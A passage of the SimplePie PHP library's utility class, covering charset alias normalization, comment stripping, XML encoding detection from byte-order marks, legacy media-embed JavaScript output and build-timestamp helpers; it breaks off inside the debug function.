'EBCDIC-PT'; case 'csebcdicuk': case 'ebcdicuk': return 'EBCDIC-UK'; case 'csebcdicus': case 'ebcdicus': return 'EBCDIC-US'; case 'csiso111ecmacyrillic': case 'ecmacyrillic': case 'isoir111': case 'koi8e': return 'ECMA-cyrillic'; case 'csiso17spanish': case 'es': case 'iso646es': case 'isoir17': return 'ES'; case 'csiso85spanish2': case 'es2': case 'iso646es2': case 'isoir85': return 'ES2'; case 'cseucpkdfmtjapanese': case 'eucjp': case 'extendedunixcodepackedformatforjapanese': return 'EUC-JP'; case 'cseucfixwidjapanese': case 'extendedunixcodefixedwidthforjapanese': return 'Extended_UNIX_Code_Fixed_Width_for_Japanese'; case 'gb18030': return 'GB18030'; case 'chinese': case 'cp936': case 'csgb2312': case 'csiso58gb231280': case 'gb2312': case 'gb231280': case 'gbk': case 'isoir58': case 'ms936': case 'windows936': return 'GBK'; case 'cn': case 'csiso57gb1988': case 'gb198880': case 'iso646cn': case 'isoir57': return 'GB_1988-80'; case 'csiso153gost1976874': case 'gost1976874': case 'isoir153': case 'stsev35888': return 'GOST_19768-74'; case 'csiso150': case 'csiso150greekccitt': case 'greekccitt': case 'isoir150': return 'greek-ccitt'; case 'csiso88greek7': case 'greek7': case 'isoir88': return 'greek7'; case 'csiso18greek7old': case 'greek7old': case 'isoir18': return 'greek7-old'; case 'cshpdesktop': case 'hpdesktop': return 'HP-DeskTop'; case 'cshplegal': case 'hplegal': return 'HP-Legal'; case 'cshpmath8': case 'hpmath8': return 'HP-Math8'; case 'cshppifont': case 'hppifont': return 'HP-Pi-font'; case 'cshproman8': case 'hproman8': case 'r8': case 'roman8': return 'hp-roman8'; case 'hzgb2312': return 'HZ-GB-2312'; case 'csibmsymbols': case 'ibmsymbols': return 'IBM-Symbols'; case 'csibmthai': case 'ibmthai': return 'IBM-Thai'; case 'cp37': case 'csibm37': case 'ebcdiccpca': case 'ebcdiccpnl': case 'ebcdiccpus': case 'ebcdiccpwt': case 'ibm37': return 'IBM037'; case 'cp38': case 'csibm38': case 'ebcdicint': case 'ibm38': return 'IBM038'; case 'cp273': case 'csibm273': case 'ibm273': return 'IBM273'; case 'cp274': case 'csibm274': case 'ebcdicbe': case 'ibm274': return 'IBM274'; case 'cp275': case 'csibm275': case 'ebcdicbr': case 'ibm275': return 'IBM275'; case 'csibm277': case 'ebcdiccpdk': case 'ebcdiccpno': case 'ibm277': return 'IBM277'; case 'cp278': case 'csibm278': case 'ebcdiccpfi': case 'ebcdiccpse': case 'ibm278': return 'IBM278'; case 'cp280': case 'csibm280': case 'ebcdiccpit': case 'ibm280': return 'IBM280'; case 'cp281': case 'csibm281': case 'ebcdicjpe': case 'ibm281': return 'IBM281'; case 'cp284': case 'csibm284': case 'ebcdiccpes': case 'ibm284': return 'IBM284'; case 'cp285': case 'csibm285': case 'ebcdiccpgb': case 'ibm285': return 'IBM285'; case 'cp290': case 'csibm290': case 'ebcdicjpkana': case 'ibm290': return 'IBM290'; case 'cp297': case 'csibm297': case 'ebcdiccpfr': case 'ibm297': return 'IBM297'; case 'cp420': case 'csibm420': case 'ebcdiccpar1': case 'ibm420': return 'IBM420'; case 'cp423': case 'csibm423': case 'ebcdiccpgr': case 'ibm423': return 'IBM423'; case 'cp424': case 'csibm424': case 'ebcdiccphe': case 'ibm424': return 'IBM424'; case '437': case 'cp437': case 'cspc8codepage437': case 'ibm437': return 'IBM437'; case 'cp500': case 'csibm500': case 'ebcdiccpbe': case 'ebcdiccpch': case 'ibm500': return 'IBM500'; case 'cp775': case 'cspc775baltic': case 'ibm775': return 'IBM775'; case '850': case 'cp850': case 'cspc850multilingual': case 'ibm850': return 'IBM850'; case '851': case 'cp851': case 'csibm851': case 'ibm851': return 'IBM851'; case '852': case 'cp852': case 'cspcp852': case 'ibm852': return 'IBM852'; case '855': case 'cp855': case 'csibm855': case 'ibm855': return 'IBM855'; case '857': case 'cp857': case 'csibm857': case 'ibm857': return 'IBM857'; case 'ccsid858': case 'cp858': case 'ibm858': case 'pcmultilingual850euro': return 'IBM00858'; case '860': case 'cp860': case 'csibm860': case 'ibm860': return 'IBM860'; case '861': case 'cp861': case 'cpis': case 'csibm861': case 'ibm861': return 'IBM861'; case '862': case 'cp862': case 'cspc862latinhebrew': case 'ibm862': return 'IBM862'; case '863': case 'cp863': case 'csibm863': case 'ibm863': return 'IBM863'; case 'cp864': case 'csibm864': case 'ibm864': return 'IBM864'; case '865': case 'cp865': case 'csibm865': case 'ibm865': return 'IBM865'; case '866': case 'cp866': case 'csibm866': case 'ibm866': return 'IBM866'; case 'cp868': case 'cpar': case 'csibm868': case 'ibm868': return 'IBM868'; case '869': case 'cp869': case 'cpgr': case 'csibm869': case 'ibm869': return 'IBM869'; case 'cp870': case 'csibm870': case 'ebcdiccproece': case 'ebcdiccpyu': case 'ibm870': return 'IBM870'; case 'cp871': case 'csibm871': case 'ebcdiccpis': case 'ibm871': return 'IBM871'; case 'cp880': case 'csibm880': case 'ebcdiccyrillic': case 'ibm880': return 'IBM880'; case 'cp891': case 'csibm891': case 'ibm891': return 'IBM891'; case 'cp903': case 'csibm903': case 'ibm903': return 'IBM903'; case '904': case 'cp904': case 'csibbm904': case 'ibm904': return 'IBM904'; case 'cp905': case 'csibm905': case 'ebcdiccptr': case 'ibm905': return 'IBM905'; case 'cp918': case 'csibm918': case 'ebcdiccpar2': case 'ibm918': return 'IBM918'; case 'ccsid924': case 'cp924': case 'ebcdiclatin9euro': case 'ibm924': return 'IBM00924'; case 'cp1026': case 'csibm1026': case 'ibm1026': return 'IBM1026'; case 'ibm1047': return 'IBM1047'; case 'ccsid1140': case 'cp1140': case 'ebcdicus37euro': case 'ibm1140': return 'IBM01140'; case 'ccsid1141': case 'cp1141': case 'ebcdicde273euro': case 'ibm1141': return 'IBM01141'; case 'ccsid1142': case 'cp1142': case 'ebcdicdk277euro': case 'ebcdicno277euro': case 'ibm1142': return 'IBM01142'; case 'ccsid1143': case 'cp1143': case 'ebcdicfi278euro': case 'ebcdicse278euro': case 'ibm1143': return 'IBM01143'; case 'ccsid1144': case 'cp1144': case 'ebcdicit280euro': case 'ibm1144': return 'IBM01144'; case 'ccsid1145': case 'cp1145': case 'ebcdices284euro': case 'ibm1145': return 'IBM01145'; case 'ccsid1146': case 'cp1146': case 'ebcdicgb285euro': case 'ibm1146': return 'IBM01146'; case 'ccsid1147': case 'cp1147': case 'ebcdicfr297euro': case 'ibm1147': return 'IBM01147'; case 'ccsid1148': case 'cp1148': case 'ebcdicinternational500euro': case 'ibm1148': return 'IBM01148'; case 'ccsid1149': case 'cp1149': case 'ebcdicis871euro': case 'ibm1149': return 'IBM01149'; case 'csiso143iecp271': case 'iecp271': case 'isoir143': return 'IEC_P27-1'; case 'csiso49inis': case 'inis': case 'isoir49': return 'INIS'; case 'csiso50inis8': case 'inis8': case 'isoir50': return 'INIS-8'; case 'csiso51iniscyrillic': case 'iniscyrillic': case 'isoir51': return 'INIS-cyrillic'; case 'csinvariant': case 'invariant': return 'INVARIANT'; case 'iso2022cn': return 'ISO-2022-CN'; case 'iso2022cnext': return 'ISO-2022-CN-EXT'; case 'csiso2022jp': case 'iso2022jp': return 'ISO-2022-JP'; case 'csiso2022jp2': case 'iso2022jp2': return 'ISO-2022-JP-2'; case 'csiso2022kr': case 'iso2022kr': return 'ISO-2022-KR'; case 'cswindows30latin1': case 'iso88591windows30latin1': return 'ISO-8859-1-Windows-3.0-Latin-1'; case 'cswindows31latin1': case 'iso88591windows31latin1': return 'ISO-8859-1-Windows-3.1-Latin-1'; case 'csisolatin2': case 'iso88592': case 'iso885921987': case 'isoir101': case 'l2': case 'latin2': return 'ISO-8859-2'; case 'cswindows31latin2': case 'iso88592windowslatin2': return 'ISO-8859-2-Windows-Latin-2'; case 'csisolatin3': case 'iso88593': case 'iso885931988': case 'isoir109': case 'l3': case 'latin3': return 'ISO-8859-3'; case 'csisolatin4': case 'iso88594': case 'iso885941988': case 'isoir110': case 'l4': case 'latin4': return 'ISO-8859-4'; case 'csisolatincyrillic': case 'cyrillic': case 'iso88595': case 'iso885951988': case 'isoir144': return 'ISO-8859-5'; case 'arabic': case 'asmo708': case 'csisolatinarabic': case 'ecma114': case 'iso88596': case 'iso885961987': case 'isoir127': return 'ISO-8859-6'; case 'csiso88596e': case 'iso88596e': return 'ISO-8859-6-E'; case 'csiso88596i': case 'iso88596i': return 'ISO-8859-6-I'; case 'csisolatingreek': case 'ecma118': case 'elot928': case 'greek': case 'greek8': case 'iso88597': case 'iso885971987': case 'isoir126': return 'ISO-8859-7'; case 'csisolatinhebrew': case 'hebrew': case 'iso88598': case 'iso885981988': case 'isoir138': return 'ISO-8859-8'; case 'csiso88598e': case 'iso88598e': return 'ISO-8859-8-E'; case 'csiso88598i': case 'iso88598i': return 'ISO-8859-8-I'; case 'cswindows31latin5': case 'iso88599windowslatin5': return 'ISO-8859-9-Windows-Latin-5'; case 'csisolatin6': case 'iso885910': case 'iso8859101992': case 'isoir157': case 'l6': case 'latin6': return 'ISO-8859-10'; case 'iso885913': return 'ISO-8859-13'; case 'iso885914': case 'iso8859141998': case 'isoceltic': case 'isoir199': case 'l8': case 'latin8': return 'ISO-8859-14'; case 'iso885915': case 'latin9': return 'ISO-8859-15'; case 'iso885916': case 'iso8859162001': case 'isoir226': case 'l10': case 'latin10': return 'ISO-8859-16'; case 'iso10646j1': return 'ISO-10646-J-1'; case 'csunicode': case 'iso10646ucs2': return 'ISO-10646-UCS-2'; case 'csucs4': case 'iso10646ucs4': return 'ISO-10646-UCS-4'; case 'csunicodeascii': case 'iso10646ucsbasic': return 'ISO-10646-UCS-Basic'; case 'csunicodelatin1': case 'iso10646': case 'iso10646unicodelatin1': return 'ISO-10646-Unicode-Latin1'; case 'csiso10646utf1': case 'iso10646utf1': return 'ISO-10646-UTF-1'; case 'csiso115481': case 'iso115481': case 'isotr115481': return 'ISO-11548-1'; case 'csiso90': case 'isoir90': return 'iso-ir-90'; case 'csunicodeibm1261': case 'isounicodeibm1261': return 'ISO-Unicode-IBM-1261'; case 'csunicodeibm1264': case 'isounicodeibm1264': return 'ISO-Unicode-IBM-1264'; case 'csunicodeibm1265': case 'isounicodeibm1265': return 'ISO-Unicode-IBM-1265'; case 'csunicodeibm1268': case 'isounicodeibm1268': return 'ISO-Unicode-IBM-1268'; case 'csunicodeibm1276': case 'isounicodeibm1276': return 'ISO-Unicode-IBM-1276'; case 'csiso646basic1983': case 'iso646basic1983': case 'ref': return 'ISO_646.basic:1983'; case 'csiso2intlrefversion': case 'irv': case 'iso646irv1983': case 'isoir2': return 'ISO_646.irv:1983'; case 'csiso2033': case 'e13b': case 'iso20331983': case 'isoir98': return 'ISO_2033-1983'; case 'csiso5427cyrillic': case 'iso5427': case 'isoir37': return 'ISO_5427'; case 'iso5427cyrillic1981': case 'iso54271981': case 'isoir54': return 'ISO_5427:1981'; case 'csiso5428greek': case 'iso54281980': case 'isoir55': return 'ISO_5428:1980'; case 'csiso6937add': case 'iso6937225': case 'isoir152': return 'ISO_6937-2-25'; case 'csisotextcomm': case 'iso69372add': case 'isoir142': return 'ISO_6937-2-add'; case 'csiso8859supp': case 'iso8859supp': case 'isoir154': case 'latin125': return 'ISO_8859-supp'; case 'csiso10367box': case 'iso10367box': case 'isoir155': return 'ISO_10367-box'; case 'csiso15italian': case 'iso646it': case 'isoir15': case 'it': return 'IT'; case 'csiso13jisc6220jp': case 'isoir13': case 'jisc62201969': case 'jisc62201969jp': case 'katakana': case 'x2017': return 'JIS_C6220-1969-jp'; case 'csiso14jisc6220ro': case 'iso646jp': case 'isoir14': case 'jisc62201969ro': case 'jp': return 'JIS_C6220-1969-ro'; case 'csiso42jisc62261978': case 'isoir42': case 'jisc62261978': return 'JIS_C6226-1978'; case 'csiso87jisx208': case 'isoir87': case 'jisc62261983': case 'jisx2081983': case 'x208': return 'JIS_C6226-1983'; case 'csiso91jisc62291984a': case 'isoir91': case 'jisc62291984a': case 'jpocra': return 'JIS_C6229-1984-a'; case 'csiso92jisc62991984b': case 'iso646jpocrb': case 'isoir92': case 'jisc62291984b': case 'jpocrb': return 'JIS_C6229-1984-b'; case 'csiso93jis62291984badd': case 'isoir93': case 'jisc62291984badd': case 'jpocrbadd': return 'JIS_C6229-1984-b-add'; case 'csiso94jis62291984hand': case 'isoir94': case 'jisc62291984hand': case 'jpocrhand': return 'JIS_C6229-1984-hand'; case 'csiso95jis62291984handadd': case 'isoir95': case 'jisc62291984handadd': case 'jpocrhandadd': return 'JIS_C6229-1984-hand-add'; case 'csiso96jisc62291984kana': case 'isoir96': case 'jisc62291984kana': return 'JIS_C6229-1984-kana'; case 'csjisencoding': case 'jisencoding': return 'JIS_Encoding'; case 'cshalfwidthkatakana': case 'jisx201': case 'x201': return 'JIS_X0201'; case 'csiso159jisx2121990': case 'isoir159': case 'jisx2121990': case 'x212': return 'JIS_X0212-1990'; case 'csiso141jusib1002': case 'iso646yu': case 'isoir141': case 'js': case 'jusib1002': case 'yu': return 'JUS_I.B1.002'; case 'csiso147macedonian': case 'isoir147': case 'jusib1003mac': case 'macedonian': return 'JUS_I.B1.003-mac'; case 'csiso146serbian': case 'isoir146': case 'jusib1003serb': case 'serbian': return 'JUS_I.B1.003-serb'; case 'koi7switched': return 'KOI7-switched'; case 'cskoi8r': case 'koi8r': return 'KOI8-R'; case 'koi8u': return 'KOI8-U'; case 'csksc5636': case 'iso646kr': case 'ksc5636': return 'KSC5636'; case 'cskz1048': case 'kz1048': case 'rk1048': case 'strk10482002': return 'KZ-1048'; case 'csiso19latingreek': case 'isoir19': case 'latingreek': return 'latin-greek'; case 'csiso27latingreek1': case 'isoir27': case 'latingreek1': return 'Latin-greek-1'; case 'csiso158lap': case 'isoir158': case 'lap': case 'latinlap': return 'latin-lap'; case 'csmacintosh': case 'mac': case 'macintosh': return 'macintosh'; case 'csmicrosoftpublishing': case 'microsoftpublishing': return 'Microsoft-Publishing'; case 'csmnem': case 'mnem': return 'MNEM'; case 'csmnemonic': case 'mnemonic': return 'MNEMONIC'; case 'csiso86hungarian': case 'hu': case 'iso646hu': case 'isoir86': case 'msz77953': return 'MSZ_7795.3'; case 'csnatsdano': case 'isoir91': case 'natsdano': return 'NATS-DANO'; case 'csnatsdanoadd': case 'isoir92': case 'natsdanoadd': return 'NATS-DANO-ADD'; case 'csnatssefi': case 'isoir81': case 'natssefi': return 'NATS-SEFI'; case 'csnatssefiadd': case 'isoir82': case 'natssefiadd': return 'NATS-SEFI-ADD'; case 'csiso151cuba': case 'cuba': case 'iso646cu': case 'isoir151': case 'ncnc1081': return 'NC_NC00-10:81'; case 'csiso69french': case 'fr': case 'iso646fr': case 'isoir69': case 'nfz62010': return 'NF_Z_62-010'; case 'csiso25french': case 'iso646fr1': case 'isoir25': case 'nfz620101973': return 'NF_Z_62-010_(1973)'; case 'csiso60danishnorwegian': case 'csiso60norwegian1': case 'iso646no': case 'isoir60': case 'no': case 'ns45511': return 'NS_4551-1'; case 'csiso61norwegian2': case 'iso646no2': case 'isoir61': case 'no2': case 'ns45512': return 'NS_4551-2'; case 'osdebcdicdf3irv': return 'OSD_EBCDIC_DF03_IRV'; case 'osdebcdicdf41': return 'OSD_EBCDIC_DF04_1'; case 'osdebcdicdf415': return 'OSD_EBCDIC_DF04_15'; case 'cspc8danishnorwegian': case 'pc8danishnorwegian': return 'PC8-Danish-Norwegian'; case 'cspc8turkish': case 'pc8turkish': return 'PC8-Turkish'; case 'csiso16portuguese': case 'iso646pt': case 'isoir16': case 'pt': return 'PT'; case 'csiso84portuguese2': case 'iso646pt2': case 'isoir84': case 'pt2': return 'PT2'; case 'cp154': case 'csptcp154': case 'cyrillicasian': case 'pt154': case 'ptcp154': return 'PTCP154'; case 'scsu': return 'SCSU'; case 'csiso10swedish': case 'fi': case 'iso646fi': case 'iso646se': case 'isoir10': case 'se': case 'sen850200b': return 'SEN_850200_B'; case 'csiso11swedishfornames': case 'iso646se2': case 'isoir11': case 'se2': case 'sen850200c': return 'SEN_850200_C'; case 'csiso102t617bit': case 'isoir102': case 't617bit': return 'T.61-7bit'; case 'csiso103t618bit': case 'isoir103': case 't61': case 't618bit': return 'T.61-8bit'; case 'csiso128t101g2': case 'isoir128': case 't101g2': return 'T.101-G2'; case 'cstscii': case 'tscii': return 'TSCII'; case 'csunicode11': case 'unicode11': return 'UNICODE-1-1'; case 'csunicode11utf7': case 'unicode11utf7': return 'UNICODE-1-1-UTF-7'; case 'csunknown8bit': case 'unknown8bit': return 'UNKNOWN-8BIT'; case 'ansix341968': case 'ansix341986': case 'ascii': case 'cp367': case 'csascii': case 'ibm367': case 'iso646irv1991': case 'iso646us': case 'isoir6': case 'us': case 'usascii': return 'US-ASCII'; case 'csusdk': case 'usdk': return 'us-dk'; case 'utf7': return 'UTF-7'; case 'utf8': return 'UTF-8'; case 'utf16': return 'UTF-16'; case 'utf16be': return 'UTF-16BE'; case 'utf16le': return 'UTF-16LE'; case 'utf32': return 'UTF-32'; case 'utf32be': return 'UTF-32BE'; case 'utf32le': return 'UTF-32LE'; case 'csventurainternational': case 'venturainternational': return 'Ventura-International'; case 'csventuramath': case 'venturamath': return 'Ventura-Math'; case 'csventuraus': case 'venturaus': return 'Ventura-US'; case 'csiso70videotexsupp1': case 'isoir70': case 'videotexsuppl': return 'videotex-suppl'; case 'csviqr': case 'viqr': return 'VIQR'; case 'csviscii': case 'viscii': return 'VISCII'; case 'csshiftjis': case 'cswindows31j': case 'mskanji': case 'shiftjis': case 'windows31j': return 'Windows-31J'; case 'iso885911': case 'tis620': return 'windows-874'; case 'cseuckr': case 'csksc56011987': case 'euckr': case 'isoir149': case 'korean': case 'ksc5601': case 'ksc56011987': case 'ksc56011989': case 'windows949': return 'windows-949'; case 'windows1250': return 'windows-1250'; case 'windows1251': return 'windows-1251'; case 'cp819': case 'csisolatin1': case 'ibm819': case 'iso88591': case 'iso885911987': case 'isoir100': case 'l1': case 'latin1': case 'windows1252': return 'windows-1252'; case 'windows1253': return 'windows-1253'; case 'csisolatin5': case 'iso88599': case 'iso885991989': case 'isoir148': case 'l5': case 'latin5': case 'windows1254': return 'windows-1254'; case 'windows1255': return 'windows-1255'; case 'windows1256': return 'windows-1256'; case 'windows1257': return 'windows-1257'; case 'windows1258': return 'windows-1258'; default: return $charset; } } public static function get_curl_version() { if (is_array($curl = curl_version())) { $curl = $curl['version']; } elseif (substr($curl, 0, 5) === 'curl/') { $curl = substr($curl, 5, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 5)); } elseif (substr($curl, 0, 8) === 'libcurl/') { $curl = substr($curl, 8, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 8)); } else { $curl = 0; } return $curl; } /** * Strip HTML comments * * @param string $data Data to strip comments from * @return string Comment stripped string */ public static function strip_comments($data) { $output = ''; while (($start = strpos($data, '<!--')) !== false) { $output .= substr($data, 0, $start); if (($end = strpos($data, '-->', $start)) !== false) { $data = substr_replace($data, '', 0, $end + 3); } else { $data = ''; } } return $output . $data; } public static function parse_date($dt) { $parser = SimplePie_Parse_Date::get(); return $parser->parse($dt); } /** * Decode HTML entities * * @deprecated Use DOMDocument instead * @param string $data Input data * @return string Output data */ public static function entities_decode($data) { $decoder = new SimplePie_Decode_HTML_Entities($data); return $decoder->parse(); } /** * Remove RFC822 comments * * @param string $data Data to strip comments from * @return string Comment stripped string */ public static function uncomment_rfc822($string) { $string = (string) $string; $position = 0; $length = strlen($string); $depth = 0; $output = ''; while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) { $output .= substr($string, $position, $pos - $position); $position = $pos + 1; if ($string[$pos - 1] !== '\\') { $depth++; while ($depth && $position < $length) { $position += strcspn($string, '()', $position); if ($string[$position - 1] === '\\') { $position++; continue; } elseif (isset($string[$position])) { switch ($string[$position]) { case '(': $depth++; break; case ')': $depth--; break; } $position++; } else { break; } } } else { $output .= '('; } } $output .= substr($string, $position); return $output; } public static function parse_mime($mime) { if (($pos = strpos($mime, ';')) === false) { return trim($mime); } else { return trim(substr($mime, 0, $pos)); } } public static function atom_03_construct_type($attribs) { if (isset($attribs['']['mode']) && strtolower(trim($attribs['']['mode']) === 'base64')) { $mode = SIMPLEPIE_CONSTRUCT_BASE64; } else { $mode = SIMPLEPIE_CONSTRUCT_NONE; } if (isset($attribs['']['type'])) { switch (strtolower(trim($attribs['']['type']))) { case 'text': case 'text/plain': return SIMPLEPIE_CONSTRUCT_TEXT | $mode; case 'html': case 'text/html': return SIMPLEPIE_CONSTRUCT_HTML | $mode; case 'xhtml': case 'application/xhtml+xml': return SIMPLEPIE_CONSTRUCT_XHTML | $mode; default: return SIMPLEPIE_CONSTRUCT_NONE | $mode; } } else { return SIMPLEPIE_CONSTRUCT_TEXT | $mode; } } public static function atom_10_construct_type($attribs) { if (isset($attribs['']['type'])) { switch (strtolower(trim($attribs['']['type']))) { case 'text': return SIMPLEPIE_CONSTRUCT_TEXT; case 'html': return SIMPLEPIE_CONSTRUCT_HTML; case 'xhtml': return SIMPLEPIE_CONSTRUCT_XHTML; default: return SIMPLEPIE_CONSTRUCT_NONE; } } return SIMPLEPIE_CONSTRUCT_TEXT; } public static function atom_10_content_construct_type($attribs) { if (isset($attribs['']['type'])) { $type = strtolower(trim($attribs['']['type'])); switch ($type) { case 'text': return SIMPLEPIE_CONSTRUCT_TEXT; case 'html': return SIMPLEPIE_CONSTRUCT_HTML; case 'xhtml': return SIMPLEPIE_CONSTRUCT_XHTML; } if (in_array(substr($type, -4), array('+xml', '/xml')) || substr($type, 0, 5) === 'text/') { return SIMPLEPIE_CONSTRUCT_NONE; } else { return SIMPLEPIE_CONSTRUCT_BASE64; } } else { return SIMPLEPIE_CONSTRUCT_TEXT; } } public static function is_isegment_nz_nc($string) { return (bool) preg_match('/^([A-Za-z0-9\-._~\x{A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}\x{10000}-\x{1FFFD}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}\x{40000}-\x{4FFFD}\x{50000}-\x{5FFFD}\x{60000}-\x{6FFFD}\x{70000}-\x{7FFFD}\x{80000}-\x{8FFFD}\x{90000}-\x{9FFFD}\x{A0000}-\x{AFFFD}\x{B0000}-\x{BFFFD}\x{C0000}-\x{CFFFD}\x{D0000}-\x{DFFFD}\x{E1000}-\x{EFFFD}!$&\'()*+,;=@]|(%[0-9ABCDEF]{2}))+$/u', $string); } public static function space_seperated_tokens($string) { $space_characters = "\x20\x09\x0A\x0B\x0C\x0D"; $string_length = strlen($string); $position = strspn($string, $space_characters); $tokens = array(); while ($position < $string_length) { $len = strcspn($string, $space_characters, $position); $tokens[] = substr($string, $position, $len); $position += $len; $position += strspn($string, $space_characters, $position); } return $tokens; } /** * Converts a unicode codepoint to a UTF-8 character * * @static * @param int $codepoint Unicode codepoint * @return string UTF-8 character */ public static function codepoint_to_utf8($codepoint) { $codepoint = (int) $codepoint; if ($codepoint < 0) { return false; } else if ($codepoint <= 0x7f) { return chr($codepoint); } else if ($codepoint <= 0x7ff) { return chr(0xc0 | ($codepoint >> 6)) . chr(0x80 | ($codepoint & 0x3f)); } else if ($codepoint <= 0xffff) { return chr(0xe0 | ($codepoint >> 12)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f)); } else if ($codepoint <= 0x10ffff) { return chr(0xf0 | ($codepoint >> 18)) . chr(0x80 | (($codepoint >> 12) & 0x3f)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f)); } else { // U+FFFD REPLACEMENT CHARACTER return "\xEF\xBF\xBD"; } } /** * Similar to parse_str() * * Returns an associative array of name/value pairs, where the value is an * array of values that have used the same name * * @static * @param string $str The input string. * @return array */ public static function parse_str($str) { $return = array(); $str = explode('&', $str); foreach ($str as $section) { if (strpos($section, '=') !== false) { list($name, $value) = explode('=', $section, 2); $return[urldecode($name)][] = urldecode($value); } else { $return[urldecode($section)][] = null; } } return $return; } /** * Detect XML encoding, as per XML 1.0 Appendix F.1 * * @todo Add support for EBCDIC * @param string $data XML data * @param SimplePie_Registry $registry Class registry * @return array Possible encodings */ public static function xml_encoding($data, $registry) { // UTF-32 Big Endian BOM if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") { $encoding[] = 'UTF-32BE'; } // UTF-32 Little Endian BOM elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") { $encoding[] = 'UTF-32LE'; } // UTF-16 Big Endian BOM elseif (substr($data, 0, 2) === "\xFE\xFF") { $encoding[] = 'UTF-16BE'; } // UTF-16 Little Endian BOM elseif (substr($data, 0, 2) === "\xFF\xFE") { $encoding[] = 'UTF-16LE'; } // UTF-8 BOM elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") { $encoding[] = 'UTF-8'; } // UTF-32 Big Endian Without BOM elseif (substr($data, 0, 20) === "\x00\x00\x00\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C") { if ($pos = strpos($data, "\x00\x00\x00\x3F\x00\x00\x00\x3E")) { $parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32BE', 'UTF-8'))); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-32BE'; } // UTF-32 Little Endian Without BOM elseif (substr($data, 0, 20) === "\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C\x00\x00\x00") { if ($pos = strpos($data, "\x3F\x00\x00\x00\x3E\x00\x00\x00")) { $parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32LE', 'UTF-8'))); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-32LE'; } // UTF-16 Big Endian Without BOM elseif (substr($data, 0, 10) === "\x00\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C") { if ($pos = strpos($data, "\x00\x3F\x00\x3E")) { $parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16BE', 'UTF-8'))); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-16BE'; } // UTF-16 Little Endian Without BOM elseif (substr($data, 0, 10) === "\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C\x00") { if ($pos = strpos($data, "\x3F\x00\x3E\x00")) { $parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16LE', 'UTF-8'))); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-16LE'; } // US-ASCII (or superset) elseif (substr($data, 0, 5) === "\x3C\x3F\x78\x6D\x6C") { if ($pos = strpos($data, "\x3F\x3E")) { $parser = $registry->create('XML_Declaration_Parser', array(substr($data, 5, $pos - 5))); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-8'; } // Fallback to UTF-8 else { $encoding[] = 'UTF-8'; } return $encoding; } public static function output_javascript() { if (function_exists('ob_gzhandler')) { ob_start('ob_gzhandler'); } header('Content-type: text/javascript; charset: UTF-8'); header('Cache-Control: must-revalidate'); header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days ?> function embed_quicktime(type, bgcolor, width, height, link, placeholder, loop) { if (placeholder != '') { document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" href="'+link+'" src="'+placeholder+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="false" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>'); } else { document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" src="'+link+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="true" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>'); } } function embed_flash(bgcolor, width, height, link, loop, type) { document.writeln('<embed src="'+link+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="'+type+'" quality="high" width="'+width+'" height="'+height+'" bgcolor="'+bgcolor+'" loop="'+loop+'"></embed>'); } function embed_flv(width, height, link, placeholder, loop, player) { document.writeln('<embed src="'+player+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" quality="high" width="'+width+'" height="'+height+'" wmode="transparent" flashvars="file='+link+'&autostart=false&repeat='+loop+'&showdigits=true&showfsbutton=false"></embed>'); } function embed_wmedia(width, height, link) { document.writeln('<embed type="application/x-mplayer2" src="'+link+'" autosize="1" width="'+width+'" height="'+height+'" showcontrols="1" showstatusbar="0" showdisplay="0" autostart="0"></embed>'); } <?php } /** * Get the SimplePie build timestamp * * Uses the git index if it exists, otherwise uses the modification time * of the newest file. */ public static function get_build() { $root = dirname(dirname(__FILE__)); if (file_exists($root . '/.git/index')) { return filemtime($root . '/.git/index'); } elseif (file_exists($root . '/SimplePie')) { $time = 0; foreach (glob($root . '/SimplePie/*.php') as $file) { if (($mtime = filemtime($file)) > $time) { $time = $mtime; } } return $time; } elseif (file_exists(dirname(__FILE__) . '/Core.php')) { return filemtime(dirname(__FILE__) . '/Core.php'); } else { return filemtime(__FILE__); } } /** * Format debugging information */ public static function debug(&$sp) { $info = 'SimplePie ' . SIMPLEPIE_VERSION . ' Build ' . SIMPLEPIE_BUILD . "\n"; $info .= 'PHP ' . PHP_VERSION . "\n"; if ($sp->error() !== null) { $info .= 'Error occurred: ' . $sp->error() . "\n"; } else { $info .= "No error found.\n"; 